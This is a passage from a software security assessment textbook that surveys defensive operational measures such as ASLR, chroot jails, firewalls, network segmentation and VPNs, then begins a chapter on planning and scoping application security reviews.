
help minimize the damage heap overwrites can do. The GNU libc also has some 

capabilities to protect against common exploitation techniques; the memory 

management routines check linked list values and validate the size of chunks to a 

certain degree. Although these mechanisms are a step in the right direction, heap 

overflows can still be exploited by manipulating application data rather than heap 

structures. 

Address Space Layout Randomization 

When an application is launched in most contemporary operating systems, the loader 

organizes the program and required libraries into memory at the same locations 

every time. Customarily, the program stack and heap are put in identical locations for 

each program that runs. This practice is useful for attackers exploiting a memory 

corruption vulnerability; they can predict with a high degree of accuracy the location 

of key data structures and program components they want to manipulate or misuse. 

Address space layout randomization (ASLR) technologies seek to remove this 

advantage from attackers by randomizing where different program components are 

loaded at in memory each time the application runs. A data structure residing at 

address 0x12345678 during one program launch might reside at address 

0xABCD5678 the next time the program is started. Therefore, attackers can no longer 

use hard-coded addresses to reliably exploit a memory corruption flaw by targeting 

specific structures in memory. ASLR is especially effective when used with other 

memory protection schemes; the combination of multiple measures can turn a bug 

that could previously be exploited easily into a very difficult target. However, ASLR is 

limited by a range of valid addresses, so it is possible for an attacker to perform a 

repeated sequence of exploit attempts and eventually succeed. 

Registered Function Pointers 

Applications might have long-lived functions pointers at consistent locations in a 

process's address space. Sometimes these pointers are defined at compile time and 

never change for a given binary; exception handlers are one of the most common 

examples. These properties make long-lived function pointers an ideal target for 

exploiting certain classes of vulnerabilities. Many types of vulnerabilities are similar, 

in that they allow only a small value to be written to one arbitrary location, such as 

attacks against heap management functions. 
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Function pointer registration is one attempt at preventing the successful exploit of 

these types of vulnerabilities. It's implemented by wrapping function pointer calls in 

some form of check for unauthorized modification. The exact details of the check 

might vary in strength and how they're performed. For example, the compiler can 

place valid exception handlers in a read-only memory page, and the wrapper can just 

make a direct comparison against this page to determine whether the pointer is 

corrupt. 

Virtual Machines 

A virtual machine (VM) platform can do quite a bit to improve an application's basic 

security. Java and the .NET Common Language Runtime (CLR) are two popular VM 

environments, but the technology is even more pervasive. Most popular scripting 

languages (such as Perl, Python, and PHP) compile first to bytecode that's then 

interpreted by a virtual machine. 

Virtual machine environments are typically the best choice for most common 

programming tasks. They generally provide features such as sized buffers and strings, 

which prevent most memory management attacks. They might also include additional 

protection schemes, such as the code access security (CAS) mentioned in Chapter 1(? 

[????.]). These approaches usually allow developers to create more secure 

applications more quickly. 

The downside of virtual machines is that their implicit protection stops at low-level 

vulnerabilities. VM environments usually have no additional protections against 

exploiting vulnerabilities such as race conditions, formatted data manipulation, and 

script injection. They might also provide paths to low-level vulnerabilities in the 

underlying platform or have their own vulnerabilities. 

Host-Based Measures 

Host-based protections include OS features or supporting applications that can 

improve the security of a piece of software. They can be deployed with the application 

or be additional measures set up by end users or administrators. These additional 

protective measures can be useful in preventing, identifying, and mitigating 

successful exploits, but remember that these applications are pieces of software. 

They might contain vulnerabilities in their implementations and introduce new attack 

surface to a system. 

Object and File System Permissions 

Permission management is the first and most obvious place to try reducing the attack 

surface. Sometimes it's done programmatically, such as permissions on a shared 

memory object or process synchronization primitive. From an operational perspective, 
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however, you're concerned with permissions modified during and after application 

installation. 

As discussed earlier in this chapter, permission assignment can be complicated. 

Platform defaults might not provide adequate security, or the developer might not be 

aware of how a decision could affect application security. Typically, you need to 

perform at least a cursory review of all files and objects included in a software 

installation. 

Restricted Accounts 

Restricted accounts are commonly used for running an application with a 

public-facing service. The intent of using this type of account is not to prevent a 

compromise but to reduce the impact of the compromise. Therefore, these accounts 

have limited access to the system and can be monitored more closely. 

On Windows systems, a restricted account usually isn't granted network access to the 

system, doesn't belong to default user groups, and might be used with restricted 

tokens. Sudhakar Govindavajhala and Andrew W. Appel of Princeton University 

published an interesting paper, "Windows Access Control Demystified," in which they 

list a number of considerations and escalation scenarios for different group privileges 

and service accounts. This paper is available at 

http://www.cs.princeton.edu/~sudhakar/papers/winval.pdf. 

Restricted accounts generally don't have a default shell on UNIX systems, so 

attackers can't log in with that account, even if they successfully set a password 

through some application flaw. Furthermore, they usually have few to no privileges 

on the system, so if they are able to get an interactive shell somehow, they can't 

perform operations with much consequence. Having said that, attackers simply 

having access to the system is often dangerous because they can use the system to 

"springboard" to other previously inaccessible hosts or perform localized attacks on 

the compromised system to elevate privileges. 

Restricted accounts are useful, but they can be deployed carelessly. You need to 

ensure that restricted accounts contain no unnecessary rights or privileges. It's also 

good to follow the rule of one account to one service because of the implicit shared 

trust between all processes running under the same account, as discussed in Chapter 

2(? [????.]). 

Chroot Jails 

UNIX operating systems use the chroot command to change the root directory of a 

newly executed process. This command is normally used during system startup or 

when building software. However, chroot also has a useful security application: A 

http://www.cs.princeton.edu/~sudhakar/papers/winval.pdf
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nonroot process can be effectively jailed to a selected portion of the file system by 

running it with the chroot command. 

This approach is particularly effective because of UNIX's use of the file system as the 

primary interface for all system activity. An attacker who exploits a jailed process is 

still restricted to the contents of the jailed file system, which prevents access to most 

of the critical system assets. 

A chroot jail can improve security quite a bit; however, there are caveats. Any 

process running under root privileges can usually escape the jail environment by 

using other system mechanisms, such as the PTRACE debugging API, setting system 

variables with sysctl, or exploiting some other means to allow the system to run a 

new arbitrary process that's not constrained to the chroot jail. As a result, chroot jails 

are more effective when used with a restricted account. In addition, a chroot jail 

doesn't restrict network access beyond normal account permissions, which could still 

allow enough attack surface for a follow-on attack targeted at daemons listening on 

the localhost address. 

System Virtualization 

Security professionals have spent the past several years convincing businesses to run 

one public-facing service per server. This advice is logical when you consider the 

implicit shared trusts between any processes running on the same system. However, 

increases in processing power and growing numbers of services have made this 

practice seem unnecessarily wasteful. 

Fortunately, virtualization comes to the rescue. Virtualization allows multiple 

operating systems to share a single host computer. When done correctly, each host is 

isolated from one another and can't affect the integrity of other hosts except through 

standard network interfaces. In this way, a single host can provide a high level of 

segmentation but still make efficient use of resources. 

Virtualization is nothing new; it's been around for decades in the mainframe arena. 

However, most inexpensive microcomputers haven't supported the features required 

for true hardware virtualizationthese features are known as the Popek and Goldberg 

virtualization requirements. True hardware virtualization involves capabilities that 

hardware must provide to virtualize access without requiring software emulation. 

Software virtualization works, of course, but only recently has commodity hardware 

become powerful enough to support large-scale virtualization. 

Virtualization will continue to grow, however. New commodity processors from 

vendors such as Intel and AMD now have full hardware virtualization support, and 

software virtualization has become more commonplace. You can now see a handful of 

special cases where purpose-built operating systems and software are distributed as 

virtual machine disk images. These concepts have been developing for more than a 
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decade through research in exokernels and para-virtualization, with commercial 

products only now becoming available. 

For auditors, virtualization has advantages and disadvantages. It could allow an 

application to be distributed in a strictly configured environment, or it might force a 

poorly configured black box on users. The best approach is to treat a virtualized 

system as you would any other system and pay special attention to anywhere the 

virtual segmentation is violated. As virtualization grows more popular, however, it will 

almost certainly introduce new and unique security concerns. 

Enhanced Kernel Protections 

All operating systems must provide some mechanism for user land applications to 

communicate with the kernel. This interface is typically referred to as the system call 

gateway, and it should be the only interface for manipulating base system objects. 

The system call gateway is a useful trust boundary, as it provides a chokepoint into 

kernel operations. A kernel module can then intercept requested operations (or 

subsequent calls) to provide a level of access control that is significantly more 

granular than normal object permissions. 

For example, you might have a daemon that you need to run as root, but this daemon 

shouldn't be able to access arbitrary files or load kernel modules. These restrictions 

can be enforced only by additional measures taken inside the kernel. An additional set 

of permissions can be mapped to the executable and user associated with the process. 

In this case, the kernel module would refuse the call if the executable and user match 

the restricted daemon. This approach is an example of a simple type of enhanced 

kernel protection; however, a number of robust implementations are available for 

different operating systems. SELinux is a popular module for Linux and BSD systems, 

and Core Force (from Core Security) is a freely available option for Windows 2000 and 

XP systems. 

There's no question that this approach offers fine-grained control over exactly what a 

certain process is allowed to do. It can effectively stop a compromise by restricting 

the rights of even the most privileged accounts. However, it's a fairly new approach to 

security, so implementations vary widely in their capabilities and operation. This 

approach can also be difficult to configure correctly, as most applications aren't 

designed with the expectation of operating under such tight restrictions. 

Host-Based Firewalls 

Host-based firewalls have become extremely popular in recent years. They often 

allow fine-grained control of network traffic, including per-process and per-user 

configuration. This additional layer of protection can help compensate for any 

overlooked network attack surface. These firewalls can also mitigate an attack's 

effect by restricting the network access of a partially compromised system. 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 95 

For the most part, you can view host-based firewalls in the same manner as standard 

network firewalls. Given their limited purpose, they should be much less complicated 

than a standard firewall, although per-process and per-user rules can increase their 

complexity somewhat. 

Antimalware Applications 

Antimalware applications include antivirus and antispyware software. They are 

usually signature-based systems that attempt to identify behaviors and attributes 

associated with malicious software. They might even incorporate a degree of 

enhanced kernel protection, host-based firewalling, and change monitoring. For the 

most part, however, these applications are useful at identifying known malware 

applications. Typically, they have less value in handling more specialized attacks or 

unknown malware. 

Antimalware applications generally have little effect when auditing software systems. 

The primary consideration is that a deployed system should have the appropriate 

software installed and configured correctly. 

File and Object Change Monitoring 

Some security applications have methods of monitoring for changes in system objects, 

such as configuration files, system binaries, and sensitive Registry keys. This 

monitoring can be an effective way to identify a compromise, as some sensitive 

portion of the system is often altered as a result of an exploit. More robust monitoring 

systems actually maintain digests (or hashes) of sensitive files and system objects. 

They can then be used to assist in forensic data analysis in the event of a serious 

compromise. 

Change monitoring is a fairly reactive process by nature, so generally it isn't useful in 

preventing compromises. It can, however, prove invaluable in identifying, 

determining the extent of, and mitigating a successful compromise. The most 

important consideration for auditors is that most change-monitoring systems are 

configured by default to monitor only base system objects. Adding monitoring for 

application-specific components usually requires changes to the default 

configuration. 

Host-Based IDSs/IPSs 

Host-based intrusion detection systems (IDSs) and intrusion prevention 

systems (IPSs) tend to fall somewhere between host-based firewalls and 

antimalware applications. They might include features of both or even enhanced 

kernel protections and file change monitoring. The details vary widely from product to 

product, but typically these systems can be viewed as some combination of the 

host-based measures presented up to this point. 
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Network-Based Measures 

An entire book could be devoted to the subject of secure network architecture. After 

all, security is only one small piece of the puzzle. A good network layout must account 

for a number of concerns in addition to security, such as cost, usability, and 

performance. Fortunately, a lot of reference material is available on the topic, so this 

discussion has been limited to a few basic concepts in the following sections. If you're 

not familiar with network fundamentals, you should start with a little research on 

TCP/IP and the Open Systems Interconnection (OSI) model and network 

architecture. 

Segmentation 

Any discussion of network security needs to start with segmentation. Network 

segmentation describes how communication over a network is divided into 

groupings at different layers. TCP/IP networks are generally segmented for only two 

reasons: security and performance. For the purposes of this discussion, you're most 

concerned with the security impact of network segmentation. 

You can view network segmentation as a method of enforcing trust boundaries. This 

enforcement is why security is an important concern when developing a network 

architecture. You should also consider what OSI layer is used to enforce a security 

boundary. Generally, beginning with the lowest layer possible is best. Each higher 

layer should then reinforce the boundary, as appropriate. However, you always 

encounter practical constraints on how much network security can be provided and 

limitations on what can be enforced at each layer. 

Layer 1: Physical 

The security of the physical layer is deceptively simple. Segmentation of this layer is 

literally physical separation of the transmission medium, so security of the physical 

layer is simply keeping the medium out of attackers' hands. In the past, that meant 

keeping doors locked, running cables through conduit, and not lighting up 

unconnected ports. If any transmission media were outside your immediate control, 

you just added encryption or protected at higher layers. 

Unfortunately, the rapid growth of wireless networking has forced many people to 

reevaluate the notion of physical layer security. When you deploy a wireless network, 

you expose the attack surface to potentially anyone in transmission range. With the 

right antenna and receiver, an attacker could be a mile or more away. When you 

consider this possibility with the questionable protection of the original Wired 

Equivalent Privacy (WEP) standard, it should be apparent that physical layer security 

can get more complicated. 

Layer 2: Data Link 
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Segmentation at the data link layer is concerned with preventing spoofing 

(impersonating) hosts and sniffing traffic (capturing data transmitted by other hosts). 

Systems at this layer are identified via Media Address Control (MAC) addresses, and 

the Address Resolution Protocol (ARP) is used to identify MAC addresses associated 

with connected hosts. Switching is then used to route traffic to only the appropriate 

host. 

Network switches, however, run the gamut in terms of features and quality. They 

might be vulnerable to a variety of ARP spoofing attacks that allow attackers to 

impersonate another system or sniff traffic destined for other systems. Address 

filtering can be used to improve security at this layer, but it should never be relied on 

as the sole measure. 

Wireless media creates potential concerns at this layer, too, because they add 

encryption and authentication to compensate for their inability to segment the 

physical layer adequately. When choosing a wireless protection protocol, you have a 

few options to consider. Although proprietary standards exist, open standards are 

more popular, so this section focuses on them. 

WEP was the original standard for wireless authentication and encryption; however, 

its design proved vulnerable to cryptanalytic attacks that were further aggravated by 

weaknesses in a number of implementations. Wi-Fi Protected Access (WPA) is a more 

robust standard that provides more secure key handling with the same base 

encryption capabilities as WEP (which allows it to operate on existing hardware). 

However, WPA was intended as only an interim measure and has been superseded by 

WPA2, which retains the essential key-handling improvements of WPA and adds 

stronger encryption and digest capabilities. 

Layer 3: Network 

Security and segmentation at the network layer are typically handled via IP filtering 

and, in some cases, the IP Security (IPsec) protocol. Any meaningful discussion of 

IPsec is beyond the scope of this book, but it's important to note exactly what it is. 

IPsec is a component of the IPv6 specification that has been back-ported to the 

current IPv4. It provides automatic encryption and authentication for TCP/IP 

connections at the network layer. Although IPsec does have some appealing security 

capabilities, its adoption has been slow, and different technologies have been 

developed to address many of the areas it was intended for. However, adoption is 

continuing to grow, and a properly deployed IPsec environment is extremely effective 

at preventing a range of network attacks, including most sniffing and spoofing 

attacks. 

IP filtering is a fairly simple method of allowing or denying packets based only on the 

protocol, addresses, and ports. This method allows traffic to be segmented according 

to its function, not just the source and destination. This type of filtering is easy to 
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implement, provides fast throughput, and has fairly low overhead. At this point, IP 

filtering is practically a default capability expected in almost any network-enabled 

system, such as a router or an OS. The disadvantage of IP filtering is that it maintains 

no connection state. It can't discriminate based on which side is establishing the 

connection or whether the communication is associated with an active connection. 

Therefore, a simple IP filter must allow inbound traffic to any port where it allows 

outbound traffic. 

Layer 4: Transport 

The transport layer is what most people think of when they discuss network security 

architecture. This layer is low enough to be common to all TCP/IP applications but 

high enough that you can determine connection state. The addition of state allows a 

firewall to determine which side is initiating the connection and establishes the 

fundamental concept of an internal and external network. 

Firewalls, which are devices that filter traffic at the network and transport layers, 

are the primary method of segmenting a network for security purposes. The simplest 

firewall has only two interfaces: inside and outside. The simplest method of 

firewalling is to deny all inbound traffic and allow all outbound traffic. Most host-based 

firewalls and personal firewalls are configured this way by default. 

Firewalls get interesting, however, when you use them to divide a network according 

to functional requirements. For example, say you know that employees on your 

network need only outbound Web access. You can allow only TCP ports 80 and 443 

outbound and deny all the rest. The company Web site is hosted locally, so you need 

to add TCP port 80 inbound to the Web server. (Note: A number of other likely 

services, most notably DNS, have been ignored to keep this example simple.) 

However, you don't like the idea of having an opening straight into the internal 

network via TCP port 80. The solution is to deploy the Web server inside a 

demilitarized zone (DMZ). A DMZ uses a third interface from the firewall 

containing its own set of rules. First, assume that the DMZ is configured to deny any 

connections by default, which lets you start with a clean slate. Next, you need to 

move the Web server into the DMZ, remove the deny inbound rule for port 80, and 

replace it with a rule that allows inbound traffic from the external network to the Web 

server in the DMZ on TCP port 80. Figure 3-1 shows an example of this network. 

Figure 3-1. Simple DMZ example 

[View full size image] 
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This example, although simple, conveys the basics of transport-layer segmentation. 

What's important to understand is that the network should be segmented by function 

as much as reasonably possible. Continuing the example, what if the Web server is 

backed by a database on a separate system? The database might contain particularly 

sensitive customer information that shouldn't be located inside the DMZ. However, 

migrating the database to the internal network requires opening connectivity from 

the DMZ into the internal network, which might not be an acceptable risk, either. In 

this case, adding a second DMZ containing a data tier for the Web front end might be 

necessary. 

When reviewing an in-place application, you need to take these environmental 

considerations into account. There will always be legitimate reasons to prevent a 

deployment from having the ideal segmentation. However, you should aware of these 

contributing factors and determine whether the environment is adequately 

segmented for the application's security requirements. 

Layers 5 and 6: Session and Presentation 

Some layers of the OSI model don't map cleanly to TCP/IP; for example, the session 

and presentation layer generally get pushed up into the TCP/IP application layer. 

However, collectively these layers provide a useful distinction for certain application 

protocols. Platform-specific features, such as RPC interfaces and named pipes, are 

generally accepted as session- and presentation-layer protocols. Security on these 

interfaces is typically handled programmatically and should be addressed via the 

platform's native access control mechanisms. 

Secure Socket Layer/Transport Layer Security (SSL/TLS) is another protocol 

that's more appropriately discussed in terms of the session or presentation layer. The 

"Secure Channels(? [????.])" section earlier in this chapter discussed how SSL can be 

used to create a secure encrypted channel. SSL/TLS also supports certificate-based 

authentication, which can reduce an application's attack surface by enforcing 

authentication below the application layer. 
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Layer 7: Application 

Application-layer security is an interesting mix, and most of this book is devoted to it. 

However, application-layer proxies fall squarely into the category of operational 

protective measures. If you've spent any time in network security, you've probably 

heard numerous discussions of the value of heterogeneous (or mixed) networks. On 

the positive side, a heterogeneous environment is much less prone to silver bullet 

attacks, in which an attacker can compromise the bulk of a network by taking 

advantage of a single vulnerability. However, a homogeneous environment is usually 

easier and less expensive to manage. 

Application-layer gateways are interesting because they add extra network diversity 

in just the right location. Some of the first popular application gateways were simply 

validating HTTP reverse proxies. They sat in front of vulnerability-prone Web servers 

and denied malformed Web traffic, which provided moderate protection against Web 

server attacks. Newer Web application gateways have added a range of capabilities, 

including sitewide authentication, exploit detection, and fine-grained rule sets. 

Overall, application gateways are no substitute for properly coded applications. They 

have significant limitations, and configuring rules for the most effective protection 

requires more effort than assessing and fixing a potentially vulnerable application. 

However, these gateways can increase a network's diversity, provide an extra layer of 

assurance, and add a layer of protection over a questionable third-party application. 

Network Address Translation (NAT) 

Network Address Translation (NAT) provides a method of mapping a set of 

internal addresses against a different set of external addresses. It was originally 

developed to make more efficient use of the IPv4 address space by mapping a larger 

number of private, internal network addresses to a much smaller number of external 

addresses. 

NAT wasn't intended to provide security, but it does have some implicit security 

benefits. A NAT device must be configured with explicit rules to forward inbound 

connections; this configuration causes inbound connectivity to be implicitly denied. 

NAT also conceals the internal address space from the external network, ensuring 

some extra security against internal network mapping. 

NAT can offer additional protection, but generally, this isn't its intended purpose. 

Depending on the implementation, NAT devices might allow attacks that establish 

internal connections, spoof internal addresses, or leak addresses on the private 

network. Therefore, NAT shouldn't be relied on alone; it should be viewed as a 

supplementary measure. 

Virtual Private Networks (VPNs) 
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A virtual private network (VPN) provides a virtual network interface connected to 

a remote network over an encrypted tunnel. This approach has become popular and 

is quickly replacing dial-in business connections and leased lines. The advantage of a 

VPN is that it presents an interface that's almost identical to that of a directly 

connected user, which makes it convenient for end users and network administrators. 

The main disadvantage of a VPN is that typically, the client system is outside of the 

network administrators' physical control, which creates the potential for a much 

larger attack surface than a normal internal system does. VPN segments need to be 

monitored more closely, and administrators must enforce additional client 

precautions. These precautions usually include denying VPN clients access to their 

local network (split tunneling) while connected and restricting access to certain 

internal resources over the VPN. 

Network IDSs/IPSs 

Network IDSs and IPSs are devices that attempt to identify malicious network traffic 

and potentially terminate or deny connectivity based on detected hostile activity. The 

first systems were primarily signature-based engines that looked for specific traffic 

associated with known attacks. Newer systems attempt to identify and alert 

administrators to anomalous traffic patterns in addition to known hostile patterns. 

There's quite a bit of literature and debate on the proper approach to IDS and IPS 

deployment and configuration. The details are specific to the network environment. 

However, the best generally accepted practices require segmenting the network first 

to isolate different functional areas and points of highest risk. IDS sensors are then 

deployed to take advantage of segmentation in identifying potential attacks or 

compromises. 

6.3.5 Summary 

Application security extends beyond the code to encompass the operational 

environment and mode in which applications function. In this chapter, you have 

looked at external system details that affect how secure an application is in a 

deployment environment. When conducting audits on an application, you need to 

consider the target deployment environment (if one is available) and the application's 

default configuration parameters. Unsafe or unnecessary exposure of the application 

can lead to vulnerabilities that are entirely independent of the program code. 

6.4 Chapter 4.  Application Review Process 

Chapter 4. Application Review Process 
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"Ah, my ridiculously circuitous plan is one quarter complete!" 

Robot Devil, Futurama 

6.4.1 Introduction 

You no doubt purchased this book with the expectation of delving into the technical 

details of application security vulnerabilities, but first you need to understand the 

process of application review and its logistical and administrative details. After all, 

technical prowess doesn't matter if a review is structured so poorly that it neglects the 

important application attack surface and vulnerable code paths. Having some degree 

of structured process in planning and carrying out an application assessment is 

essential. Of course, your review may have some unique requirements, but this 

chapter gives you a framework and tools you can adapt to your own process. By 

incorporating these elements, you should be able to get the best results for the time 

you invest in any application review. 

6.4.2 Overview of the Application Review Process 

Conducting an application security review can be a daunting task; you're presented 

with a piece of software you aren't familiar with and are expected to quickly reach a 

zenlike communion with it to extract its deepest secrets. You must strike a balance in 

your approach so that you uncover design, logic, operational, and implementation 

flaws, all of which can be difficult to find. Of course, you will rarely have enough time 

to review every line of an application. So you need understand how to focus your 

efforts and maintain good coverage of the most security-relevant code. 

Rationale 

To be successful, any process you adopt must be pragmatic, flexible, and results 

driven. A rigid methodology that provides a reproducible detailed step-by-step 

procedure is definitely appealing, especially for people trying to manage code reviews 

or train qualified professionals. For a number of reasons, however, such a rigid 

approach isn't realistic. It's borne out of a fundamental misunderstanding of code 

review because it overlooks two simple truths. The first is that code review is a 

fundamentally creative process. 

It might seem as though this point couldn't possibly be true because reading other 

people's code doesn't seem particularly creative. However, to find vulnerabilities in 

applications, you must put yourself in the developer's shoes. You also need to see the 

unexpressed possibilities in the code and constantly brainstorm for ways that 

unexpected things might happen. 

The second truth is that code review is a skill. Many people assume that code review 

is strictly a knowledge problem. From this perspective, the key to effective code 
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review is compiling the best possible list of all things that could go wrong. This list is 

certainly an important aspect of code review, but you must also appreciate the 

considerable skill component. Your brain has to be able to read code in a way that you 

can infer the developer's intentions yet hypothesize ways to create situations the 

developer didn't anticipate. 

Furthermore, you have to be proficient and flexible with programming languages so 

that you can feel at home quickly in someone else's application. This kind of aptitude 

takes years to develop fully, much like learning a foreign language or playing a 

musical instrument. There's considerable overlap with related skills, such as 

programming, and other forms of systems security analysis, but this aptitude has 

unique elements as well. So it's simply unrealistic to expect even a seasoned 

developer to jump in and be a capable auditor. 

Accepting these truths, having a process is still quite valuable, as it makes you more 

effective. There's a lot to be done in a typical security review, and it's easy to overlook 

tasks when you're under a time crunch. A process gives your review structure, which 

helps you prioritize your work and maintain a consistent level of thoroughness in your 

analysis. It also makes your assessments approachable from a business perspective, 

which is critical when you need to integrate your work with timelines and consulting 

or development teams. 

Process Outline 

The review process described in this chapter is open ended, and you can adapt it as 

needed for your own requirements. This discussion should arm you with the tools and 

knowledge you need to do a formal review, but it's left flexible enough to handle 

real-world application assessments. This application review process is divided into 

four basic phases: 

1. Preassessment This phase includes planning and scoping an application 

review, as well as collecting initial information and documentation. 

2. Application review This phase is the primary phase of the assessment. It can 

include an initial design review of some form, and then proceed to a review of 

the application code, augmented with live testing, if appropriate. The review 

isn't rigidly structured into distinct design, logic, implementation, and 

operational review phases. Instead, these phases are simultaneous objectives 

reached by using several strategies. The reason for this approach is simply 

that the assessment team learns a great deal about the application over the 

course of the assessment. 

3. Documentation and analysis This phase involves collecting and documenting 

the results of the review as well as helping others evaluate the meaning of the 

results by conducting risk analysis and suggesting remediation methods and 

their estimated costs. 
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4. Remediation support This phase is a follow-up activity to assist those who 

have to act based on your findings. It includes working with developers and 

evaluating their fixes or possibly assisting in reporting any findings to a third 

party. 

This process is intended to apply to reviews that occur with some form of schedule, 

perhaps as part of a consulting engagement, or reviews of an in-house application by 

developers or security architects. However, it should be easy to apply to more 

free-form projects, such as an open-ended, ongoing review of an in-house application 

or self-directed vulnerability research. 

 

6.4.3 Preassessment 

Before you perform the actual review, you need to help scope and plan the 

assessment. This process involves gathering key pieces of information that assist you 

in later phases of your review. By gathering as much information as you can before 

starting the assessment, you can construct a better plan of attack and achieve more 

thorough coverage. 

Scoping 

When tasked with an application security review, first you need to ask what your goal 

is. This question might seem simple, but numerous answers are possible. Generally, 

a vulnerability researcher's goal is to find the most significant vulnerability in the 

shortest time. In contrast, an application security consultant is usually concerned 

with getting the best application coverage the project's budget allows. Finally, a 

developer or security architect might have a more generous schedule when 

conducting internal reviews and use that time to be as thorough as possible. 

The goal of a review might also be heavily colored by business concerns or less 

tangible factors, such as company image. A company certainly isn't inclined to devote 

extensive time to a product that's close to or even past its end of life (EOL). However, 

a review might be required to meet regulatory concerns. That same company might 

also want a thorough review of its newest flagship financial management application. 

When businesses commit to more thorough reviews, often you find that their 

interests aren't what you expect. A business is sometimes more concerned with 

easy-to-detect issues, regardless of their severity. Their goal is more to avoid the 

negative stigma of a published security issue than to address the ultimate technical 

security of their product or service. So you aren't meeting your client's (or employer's) 

needs if you spend all your time on complex issues and miss the low-risk but obvious 

ones. Focusing on low-risk issues seems like blasphemy to most technical security 

people, but it's often a reasonable business decision. For example, assume you're 

31051536.html
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performing a source-code-based assessment on a bank's Web-facing account 

management application. What is the likelihood of someone blindly finding a subtle 

authentication bypass that you found only by tracing through the source code 

carefully? In contrast, think of how easily an attacker can find cross-site scripting 

vulnerabilitiesjust with normal user access. So which issue do you think is more likely 

to be identified and leveraged by a third party? The obvious answer is cross-site 

scripting vulnerabilities, but that's not what many auditors go after because they 

want to focus on the more interesting vulnerabilities. 

That's not to say you should ignore complex issues and just get the easy stuff. After 

all, that advice would make this book quite short. However, you need to understand 

the goals of your review clearly. You also need to have an appreciation for what you 

can reasonably accomplish in a given timeframe and what confidence you can have in 

your results. These details are influenced by two major factors: the type of access you 

have to the application and the time you have available for review. 

Application Access 

Application access is divided into the five categories listed in Table 4-1. These 

distinctions are not, of course, absolute. There are always minor variations, such as 

limited source access or inconsistencies between test environments and deployment 

environments. However, these distinctions work well enough to cover most 

possibilities. 

Table 4-1. Categories of Application Access 

Category Description 

Source only Only the source code has been supplied, with no build environment or 

application binaries. You might be able to build a working binary with 

some effort, although some required components typically aren't 

available. As a result, the review is generally done using only static 

analysis. This type of access is common for contracted application 

reviews, when the client can provide source but not a functional build 

or testing environment. 

Binary only Application binaries have been supplied, but no source code is 

provided. The application review focuses on live analysis and reverse 

engineering. This type of access is common when performing 

vulnerability research on closed-source commercial software. 

Both source 

and binary 

access 

Both a source tree and access to a working application build are 

available. This type of access provides the most efficient review 

possible. It's most common for in-house application assessments, 

although security- and cost- conscious clients provide this access for 

contracted reviews, too. 
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Table 4-1. Categories of Application Access 

Category Description 

Checked 

build 

You have an application binary and no source code, but the application 

binary has additional debugging information. This approach is often 

taken for contracted code reviews when a client is unwilling to provide 

source but does want to expedite the review process somewhat. 

Strict black 

box 

No direct access to the application source or binary is available. Only 

external, blind testing techniques, such as black box and fuzz- testing, 

are possible with this type of access. It's common when assessing 

Web applications (discussed more in Chapter 17(? [????.]), "Web 

Applications"). 

 

This book focuses primarily on source-code-based application review. Although the 

techniques discussed in this chapter can be applied to other types of reviews, more 

information is generally better. The ideal assessment environment includes 

source-based analysis augmented with access to functioning binaries and a live QA 

environment (if appropriate). This environment offers the widest range of 

assessment possibilities and results in the most time-effective review. The remaining 

types of access in Table 4-1 are all viable techniques, but they generally require more 

time for the same degree of thoroughness or have an upper limit on the degree of 

thoroughness you can reasonably hope to achieve. 

Timelines 

In addition to application access, you need to determine how much time can be 

allotted to a review. The timeline is usually the most flexible part of a review, so it's 

a good way to adjust the thoroughness. The most commonly used measure of 

application size is thousands of lines of code (KLOC). It's not an ideal way to measure 

an application's complexity and size, but it's a reasonable metric for general use. A 

good reviewer ranges between 100 to 1,000 lines of code an hour, depending on 

experience and details of the code. The best way to establish an effective baseline for 

yourself is to keep track of how much time you spend reviewing different components 

and get a feel for your own pacing. 

Code type and quality have a big impact on your review speed. Languages such as 

C/C++ generally require close examination of low-level details because of the subtle 

nature of many flaws. Memory-safe languages, such as Java, address some of these 

issues, but they might introduce higher-level complexity in the form of expansive 

class hierarchies and excessive layering of interfaces. Meanwhile, the quality of 

internal documentation and comments is a language-independent factor that can 

seriously affect your review pacing. For this reason, you should look at some samples 
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of the application code before you attempt to estimate for your pace for a specific 

codebase. 

Overall code size affects the pace at which you can effectively review an application. 

For instance, reviewing a 100KLOC application doesn't usually take twice as much 

time as a 50KLOC application. The reason is that the first 50KLOC give you a feel for 

the code, allow you to establish common vulnerability patterns, and let you pick up on 

developer idioms. This familiarity enables you to review the remainder of the 

application more efficiently. So be sure to account for these economies of scale when 

determining your timelines. 

In the end, balancing coverage with cost is usually the ultimate factor in determining 

your timeline. In a perfect world, every application should be reviewed as thoroughly 

as possible, but this goal is rarely feasible in practice. Time and budgetary constraints 

force you to limit the components you can review and the depth of coverage you can 

devote to each component. Therefore, you need to exercise considerable judgment in 

determining where to focus your efforts. 

Information Collection 

The first step in reviewing an application is learning about the application's purpose 

and function. The discussion of threat modeling in Chapter 2(? [????.]) included a 

number of sources for information collection. This component of your review should 

encapsulate that portion of the threat model. To recap, you should focus on collecting 

information from these sources: 

 Developer interviews 

 Developer documentation 

 Standards documentation 

 Source profiling 

 System profiling 

6.4.4 Application Review 

People's natural inclination when approaching code review is to try to structure it like 

a waterfall-style development process. This means starting with a structured design 

review phase and adhering to a formal process, including DFDs and attack trees. This 

type of approach should give you all the information you need to plan and perform an 

effective targeted review. However, it doesn't necessarily result in the most 

time-effective identification of high and intermediate level design and logic 

vulnerabilities, as it overlooks a simple fact about application reviews: The time at 

which you know the least about an application is the beginning of the review. 

This statement seems obvious, but people often underestimate how much one learns 

over the course of a review; it can be a night and day difference. When you first sit 
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down with the code, you often can't see the forest for the trees. You don't know where 

anything is, and you don't know how to begin. By the end of a review, the application 

can seem almost like a familiar friend. You probably have a feel for the developers' 

personalities and can identify where the code suffers from neglect because everyone 

is afraid to touch it. You know who just read a book on design patterns and decided to 

build the world's most amazing flexible aspect-oriented turbo-logging engineand you 

have a good idea which developer was smart enough to trick that guy into working on 

a logging engine. 

The point is that the time you're best qualified to find more abstract design and logic 

vulnerabilities is toward the end of the review, when you have a detailed knowledge 

of the application's workings. A reasonable process for code review should capitalize 

on this observation. 

A design review is exceptional for starting the process, prioritizing how the review is 

performed, and breaking up the work among a review team. However, it's far from a 

security panacea. You'll regularly encounter situations, such as the ones in the 

following list, where you must skip the initial design review or throw out the threat 

model because it doesn't apply to the implementation: 

 You might not have any design documentation to review. Unfortunately, this 

happens all the time. 

 The design documentation might be so outdated that it's useless. 

Unfortunately, this happens all the time, tooparticularly if the design couldn't 

be reasonably implemented or simply failed to be updated with the ongoing 

application development. 

 There might be a third party who doesn't want to give you access to design 

information for one reason or another (usually involving lawyers). 

 The developers might not be available for various reasons. They might even 

consider you the enemy. 

